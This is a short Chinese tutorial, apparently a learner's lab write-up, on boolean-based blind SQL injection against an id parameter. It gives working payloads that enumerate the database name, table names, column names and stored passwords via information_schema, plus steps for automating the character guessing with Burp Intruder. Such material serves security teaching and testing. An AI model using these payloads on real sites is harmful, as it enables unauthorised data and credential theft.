了解布尔盲注
布尔盲注的条件
布尔盲注在注入时不会显示具体的信息,即没有显示位,只会返回对或者错误。
布尔盲注需要用到的几个函数
length()函数可返回字符串的长度
substring()函数可以截取字符串,可指定开始的位置和截取的长度
ord()函数可以返回单个字符的ASCII码
char()函数可将ASCII码转换为对应的字符
在上面ord()也可以用ascii()来代替,效果一样。
布尔盲注
1、判断注入点
输入" or 1=1#时显示正确,删除"时出现错误,说明闭合符号是 " 。
判断数据库长度
?id=1" or length(database7())>1 #
显示正确
接着就依次判断,发现最后长度为10.
爆数据库长度
?id=1" or ascii(substr((database()),1,1))>65#
?id=1" or ord(substr((database()),1,1))>65#
上面两种都可以用。用纯手工的注入的话,需要一个一个判断,很麻烦,所以可以利用brup进行爆破,再往上就是利用脚本了。本人技术很菜,所以就说一下怎样用brup进行爆破吧。
利用brup进行爆破
先进行抓包,然后将包发送到intruder中
然后设置变量,由于变量是两个,所以需要用第四个进行爆破。
两个都设置为Numbers型的,然后第一个从1开始,到10,依次增加1,第二个从0开始 依次增加1,到127结束。设置完成后就可以进行爆破了。
最后只需要观察选出正确值就行了。
接下来就是爆出表名
?id=1" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>65#
接着进行上面的爆破步骤就可以爆出来了。
通过修改 limit 0,1的值就可以爆出来不同的数据表名了。其中,limit 0,1指的是从第一列开始取一个值。
爆字段和值
爆字段
?id=1" or (ascii(substr((select column_name from information_schema.columns where table_name='user_1' limit 0,1),1,1)))>1#
爆值
?id=1" or (ascii(substr((select password from user_1 limit 0,1),1,1)))>1#
接着把brup爆破出来的数值转换一下就可以得到了。